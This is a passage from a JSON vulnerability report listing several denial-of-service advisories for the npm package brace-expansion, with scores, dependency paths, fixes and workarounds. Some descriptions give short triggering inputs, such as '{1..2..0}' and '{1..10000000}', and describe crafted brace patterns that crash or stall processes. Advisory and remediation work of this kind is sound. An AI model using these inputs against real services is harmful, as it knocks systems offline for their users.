Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub 